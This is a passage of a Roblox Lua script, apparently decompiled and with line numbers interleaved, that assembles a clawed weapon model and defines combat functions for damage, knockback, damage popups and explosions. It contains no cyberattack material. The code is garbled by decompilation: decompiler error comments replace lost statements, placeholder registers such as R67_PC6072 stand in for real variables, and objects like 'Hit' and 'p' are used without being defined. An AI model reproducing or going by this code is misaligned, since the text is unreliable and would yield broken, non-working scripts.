PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
844
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
845
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
846
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
847
ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
848
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
849
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
850
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
851
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
852
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
853
MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
854
MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
855
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
856
ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
857
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
858
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
859
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
860
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
861
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
862
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
863
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
864
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
865
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
866
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
867
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
868
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
869
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
870
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
871
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
872
MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
873
MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
874
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
875
ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
876
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
877
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
878
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
879
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
880
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
881
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
882
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
883
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
884
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
885
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
886
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
887
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
888
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
889
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
890
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
891
MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
892
MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
893
local CBlade = {}
894
local CBladeWelds = {}
895
for _,c in pairs(m:children()) do
896
  if c.className == "Part" then
897
    table.insert(CBlade, R67_PC6072)
898
  end
899
end
900
for _,c in pairs(m:children()) do
901
  if c.className == "Weld" then
902
    table.insert(CBladeWelds, R67_PC6072)
903
    print(R66_PC6093)
904
  end
905
end
906
-- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
907
908
-- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
909
910
--Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
911
-- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
912
913
-- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
914
915
HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
916
CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
917
FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
918
FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
919
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
920
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
921
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
922
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
923
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
924
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
925
TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
926
TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
927
CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
928
local DBlade = {}
929
local DBladeWelds = {}
930
for _,c in pairs(demon:children()) do
931
  if c.className == "Part" then
932
    table.insert(DBlade, c)
933
  end
934
end
935
for _,c in pairs(demon:children()) do
936
  if c.className == "Weld" then
937
    table.insert(DBladeWelds, c)
938
    print(c)
939
  end
940
end
941
demon.Parent = nil
942
943
paly = game.Players.LocalPlayer
944
char = paly.Character
945
torso = char.Torso
946
neck = char.Torso.Neck
947
hum = char.Humanoid
948
Player = game:GetService("Players").LocalPlayer
949
local mouse = Player:GetMouse()
950
Character = Player.Character
951
tors = Character.Torso
952
lleg = Character["Left Leg"]
953
root = Character.HumanoidRootPart
954
hed = Character.Head
955
rleg = Character["Right Leg"]
956
rarm = Character["Right Arm"]
957
larm = Character["Left Arm"]
958
local Effects = {}
959
attack = false
960
vt = Vector3.new
961
bc = BrickColor.new
962
br = BrickColor.random
963
it = Instance.new
964
cf = CFrame.new
965
euler = CFrame.fromEulerAnglesXYZ
966
angles = CFrame.Angles
967
matr = math.random
968
local basiccooldown = math.huge
969
local ultcooldown = math.huge
970
local secondcooldown = math.huge
971
local thirdcooldown = math.huge
972
973
local boll = Instance.new("Part",game.Lighting)
974
boll.Transparency = 0.5
975
boll.Material = "Neon"
976
boll.BrickColor = tors.BrickColor
977
boll.Anchored = true
978
boll.Size = vt(1,1,1)
979
boll.Shape = "Ball"
980
boll.CanCollide = false
981
982
local shur = Instance.new("Part",game.Lighting)
983
shur.Transparency = 0
984
shur.Material = "Neon"
985
shur.BrickColor = tors.BrickColor
986
shur.Anchored = true
987
shur.Size = vt(5,0.2,5)
988
shur.CanCollide = false
989
local Meshshur = Instance.new("CylinderMesh",shur)
990
991
992
local boll = Instance.new("Part",game.Lighting)
993
boll.Transparency = 0.5
994
boll.Material = "Neon"
995
boll.BrickColor = bc("Bright red")
996
boll.Anchored = true
997
boll.Size = vt(1,1,1)
998
boll.Shape = "Ball"
999
boll.CanCollide = false
1000
1001
local shur = Instance.new("Part",game.Lighting)
1002
shur.Transparency = 0
1003
shur.Material = "Neon"
1004
shur.BrickColor = bc("Bright red")
1005
shur.Anchored = true
1006
shur.Size = vt(5,0.2,5)
1007
shur.CanCollide = false
1008
local Meshshur = Instance.new("CylinderMesh",shur)
1009
1010
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
1011
        if hit.Parent==nil then
1012
                return
1013
        end
1014
        h=hit.Parent:FindFirstChild("Humanoid")
1015
        for _,v in pairs(hit.Parent:children()) do
1016
        if v:IsA("Humanoid") then
1017
        h=v
1018
        end
1019
        end
1020
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
1021
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
1022
        end
1023
        if hit.Parent.className=="Hat" then
1024
        hit=hit.Parent.Parent:findFirstChild("Head")
1025
        end
1026
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
1027
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
1028
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
1029
                        return
1030
                end]]
1031
--                        hs(hit,1.2) 
1032
                        c=Instance.new("ObjectValue")
1033
                        c.Name="creator"
1034
                        c.Value=game:service("Players").LocalPlayer
1035
                        c.Parent=h
1036
                        game:GetService("Debris"):AddItem(c,.5)
1037
                Damage=math.random(minim,maxim)
1038
--                h:TakeDamage(Damage)
1039
                blocked=false
1040
                block=hit.Parent:findFirstChild("Block")
1041
                if block~=nil then
1042
                print(block.className)
1043
                if block.className=="NumberValue" then
1044
                if block.Value>0 then
1045
                blocked=true
1046
                if decreaseblock==nil then
1047
                block.Value=block.Value-1
1048
                end
1049
                end
1050
                end
1051
                if block.className=="IntValue" then
1052
                if block.Value>0 then
1053
                blocked=true
1054
                if decreaseblock~=nil then
1055
                block.Value=block.Value-1
1056
                end
1057
                end
1058
                end
1059
                end
1060
                if blocked==false then
1061
--                h:TakeDamage(Damage)
1062
                h.Health=h.Health-Damage
1063
                showDamage(hit.Parent,Damage,.5,TorsoColor)
1064
                else
1065
                h.Health=h.Health-(Damage/2)
1066
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
1067
                end
1068
                if Type=="Knockdown" then
1069
                hum=hit.Parent.Humanoid
1070
hum.PlatformStand=true
1071
coroutine.resume(coroutine.create(function(HHumanoid)
1072
swait(1)
1073
HHumanoid.PlatformStand=false
1074
end),hum)
1075
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
1076
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
1077
local bodvol=Instance.new("BodyVelocity")
1078
bodvol.velocity=angle*knockback
1079
bodvol.P=5000
1080
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
1081
bodvol.Parent=hit
1082
rl=Instance.new("BodyAngularVelocity")
1083
rl.P=3000
1084
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1085
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
1086
rl.Parent=hit
1087
game:GetService("Debris"):AddItem(bodvol,.5)
1088
game:GetService("Debris"):AddItem(rl,.5)
1089
                elseif Type=="Normal" then
1090
                vp=Instance.new("BodyVelocity")
1091
                vp.P=500
1092
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
1093
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
1094
                if KnockbackType==1 then
1095
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
1096
                elseif KnockbackType==2 then
1097
                vp.velocity=Property.CFrame.lookVector*knockback
1098
                end
1099
                if knockback>0 then
1100
                        vp.Parent=hit.Parent.Torso
1101
                end
1102
                game:GetService("Debris"):AddItem(vp,.5)
1103
                elseif Type=="Up" then
1104
                local bodyVelocity=Instance.new("BodyVelocity")
1105
                bodyVelocity.velocity=vt(0,10,0)
1106
                bodyVelocity.P=1000
1107
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
1108
                bodyVelocity.Parent=hit
1109
                game:GetService("Debris"):AddItem(bodyVelocity,1)
1110
                rl=Instance.new("BodyAngularVelocity")
1111
                rl.P=3000
1112
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1113
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
1114
                rl.Parent=hit
1115
                game:GetService("Debris"):AddItem(rl,.5)
1116
                elseif Type=="Snare" then
1117
                bp=Instance.new("BodyPosition")
1118
                bp.P=2000
1119
                bp.D=100
1120
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1121
                bp.position=hit.Parent.Torso.Position
1122
                bp.Parent=hit.Parent.Torso
1123
                game:GetService("Debris"):AddItem(bp,1)
1124
                elseif Type=="Target" then
1125
                if Targetting==false then
1126
                ZTarget=hit.Parent.Torso
1127
                coroutine.resume(coroutine.create(function(Part) 
1128
                swait(5)
1129
                end),ZTarget)
1130
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
1131
                targetgui=Instance.new("BillboardGui")
1132
                targetgui.Parent=ZTarget
1133
                targetgui.Size=UDim2.new(10,100,10,100)
1134
                targ=Instance.new("ImageLabel")
1135
                targ.Parent=targetgui
1136
                targ.BackgroundTransparency=1
1137
                targ.Image="rbxassetid://4834067"
1138
                targ.Size=UDim2.new(1,0,1,0)
1139
                cam.CameraType="Scriptable"
1140
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1141
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1142
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1143
                Targetting=true
1144
                RocketTarget=ZTarget
1145
                for i=1,Property do
1146
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
1147
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
1148
                swait()
1149
                end
1150
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
1151
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1152
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1153
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
1154
                end
1155
                Targetting=false
1156
                RocketTarget=nil
1157
                targetgui.Parent=nil
1158
                cam.CameraType="Custom"
1159
                end
1160
                end
1161
                        debounce=Instance.new("BoolValue")
1162
                        debounce.Name="DebounceHit"
1163
                        debounce.Parent=hit.Parent
1164
                        debounce.Value=true
1165
                        game:GetService("Debris"):AddItem(debounce,Delay)
1166
                        c=Instance.new("ObjectValue")
1167
                        c.Name="creator"
1168
                        c.Value=Player
1169
                        c.Parent=h
1170
                        game:GetService("Debris"):AddItem(c,.5)
1171
                CRIT=false
1172
                hitDeb=true
1173
                AttackPos=6
1174
        end
1175
end
1176
 
1177
showDamage=function(Char,Dealt,du,Color)
1178
        m=Instance.new("Model")
1179
        m.Name=tostring(Dealt)
1180
        h=Instance.new("Humanoid")
1181
        h.Health=0
1182
        h.MaxHealth=0
1183
        h.Parent=m
1184
        c=Instance.new("Part")
1185
        c.Transparency=0
1186
        c.Material = "Neon"
1187
        c.BrickColor=bc("New Yeller")
1188
        c.Name="Head"
1189
        c.TopSurface=0
1190
        c.BottomSurface=0
1191
  local tick = Instance.new("Sound",c)
1192
  tick.SoundId = "rbxassetid://12221976"
1193
  tick.Volume = 5
1194
  tick.Pitch = 4
1195
  tick:Play()
1196
        c.formFactor="Plate"
1197
        c.Size=Vector3.new(1,.4,1)
1198
        ms=Instance.new("CylinderMesh")
1199
        ms.Scale=Vector3.new(.8,.8,.8)
1200
        if CRIT==true then
1201
                ms.Scale=Vector3.new(1,1.25,1)
1202
        end
1203
        ms.Parent=c
1204
        c.Reflectance=0
1205
        Instance.new("BodyGyro").Parent=c
1206
        c.Parent=m
1207
        if Char:findFirstChild("Head")~=nil then
1208
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
1209
        elseif Char.Parent:findFirstChild("Head")~=nil then
1210
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
1211
        end
1212
        f=Instance.new("BodyPosition")
1213
        f.P=2000
1214
        f.D=100
1215
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1216
        f.position=c.Position+Vector3.new(0,3,0)
1217
        f.Parent=c
1218
        game:GetService("Debris"):AddItem(m,.5+du)
1219
        c.CanCollide=false
1220
        m.Parent=workspace
1221
        c.CanCollide=false
1222
p:Destroy()
1223
end
1224
1225
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
1226
	for _, c in pairs(workspace:children()) do
1227
		local hum = c:findFirstChild("Humanoid")
1228
		if hum ~= nil then
1229
			local head = c:findFirstChild("Torso")
1230
			if head ~= nil then
1231
				local targ = head.Position - Part.Position
1232
				local mag = targ.magnitude
1233
				if mag <= magni and c.Name ~= Player.Name then 
1234
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
1235
				end
1236
			end
1237
		end
1238
	end
1239
end
1240
1241
function Explode(rad,par)
1242
	local expart = Instance.new("Part",script.Parent)
1243
	local expart2 = Instance.new("Part",script.Parent)
1244
	local partMesh = Instance.new("SpecialMesh",expart)
1245
	partMesh.MeshType = "Sphere"
1246
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1247
	partMesh2.MeshType = "Sphere"
1248
	local expld = Instance.new("Explosion", script.Parent)
1249
local plode = Instance.new("Sound",expart)
1250
  plode.SoundId = "rbxassetid://165970126"
1251
  plode.Volume = 1
1252
  plode.Pitch = 1
1253
  plode.Looped = false
1254
  plode:Play()
1255
	expld.BlastRadius = rad
1256
	expld.Position = par.Position
1257
	partMesh.Scale = vt(rad,rad,rad)
1258
	expart.Size = vt(1,1,1)*1.5
1259
	expart.Transparency = 0
1260
	expart.Anchored = true
1261
	expart.Material = "Neon"
1262
	expart.BrickColor = bc("White")
1263
	expart.CFrame = par.CFrame
1264
	partMesh2.Scale = vt(rad,rad,rad)
1265
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1266
	expart2.Transparency = 0.5
1267
	expart2.Anchored = true
1268
	expart2.Material = "Neon"
1269
	expart2.BrickColor = bc("New Yeller")
1270
	expart2.CFrame = par.CFrame
1271
        local value = 1*rad/6.5
1272
        par:Destroy()
1273
	for i = 0, 100 do
1274
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1275
		expart.CFrame = expart.CFrame
1276
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1277
		expart2.CFrame = expart.CFrame
1278
                value = value - 0.035*rad/6.5
1279
                if value < 1 then
1280
                value = 0.25
1281
		expart.Transparency = expart.Transparency + 0.025
1282
		expart2.Transparency = expart2.Transparency + 0.025
1283
                end
1284
		wait()
1285
	end
1286
  plode.Parent = nil
1287
	expart.Parent = nil
1288
	expart2.Parent = nil
1289
	expld.Parent = nil
1290
end
1291
1292
function ExplodeMass(rad,par)
1293
	local expart = Instance.new("Part",script.Parent)
1294
	local expart2 = Instance.new("Part",script.Parent)
1295
	local partMesh = Instance.new("SpecialMesh",expart)
1296
	partMesh.MeshType = "Sphere"
1297
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1298
	partMesh2.MeshType = "Sphere"
1299
	local expld = Instance.new("Explosion", script.Parent)
1300
local plode = Instance.new("Sound",workspace)
1301
  plode.SoundId = "rbxassetid://579687077"
1302
  plode.Volume = 1
1303
  plode.Pitch = 0.85
1304
  plode.Looped = false
1305
  plode:Play()
1306
local plodez = Instance.new("Sound",workspace)
1307
  plodez.SoundId = "rbxassetid://288641686"
1308
  plodez.Volume = 1
1309
  plodez.Pitch = 0.75
1310
  plodez.Looped = false
1311
  plodez:Play()
1312
local plodeza = Instance.new("Sound",workspace)
1313
  plodeza.SoundId = "rbxassetid://197161452"
1314
